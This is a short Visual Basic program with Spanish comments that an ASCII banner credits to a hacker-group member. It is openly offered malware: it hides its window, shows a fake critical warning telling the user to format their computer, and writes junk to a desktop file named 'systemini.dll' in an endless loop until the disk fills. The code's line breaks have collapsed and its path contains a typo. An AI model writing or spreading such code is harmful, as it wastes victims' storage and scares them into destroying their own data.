'#####################################################'###################HECHO#POR#########################'###################996MATIAS#########################'######################HXC############################'#####################MEMBER##########################'#####################################################Private Sub Form_Load()form1.Visible = false'Creamos el archivo a llenarOpen "C:\Useres\%USERNAME\Desktop\systemini.dll" For Output As #1'Indicamos un error alarmanteMsgBox ("Saturation of hard disk detected!. Only way to be safe is format your computer."), vbCritical, ("FileFila")'Llena el archivo hasta un tamaño que el computador no soporte mas , en mi caso 150GB masomenos xDDoPrint #1, "1234567890'¡ºqwertyuiop`+asdfghjklñ´ç<zxcvbnm,.-"Print #1, "\|@#~€¬€[]{}"Print #1, "ª!·$%&/()=?¿QWERTYUIOP^*ASDFGHJKLѨÇ>ZXCVBNM;:_"Print #1, "1234567890'¡ºqwertyuiop`+asdfghjklñ´ç<zxcvbnm,.-"Print #1, "\|@#~€¬€[]{}"LoopEnd Sub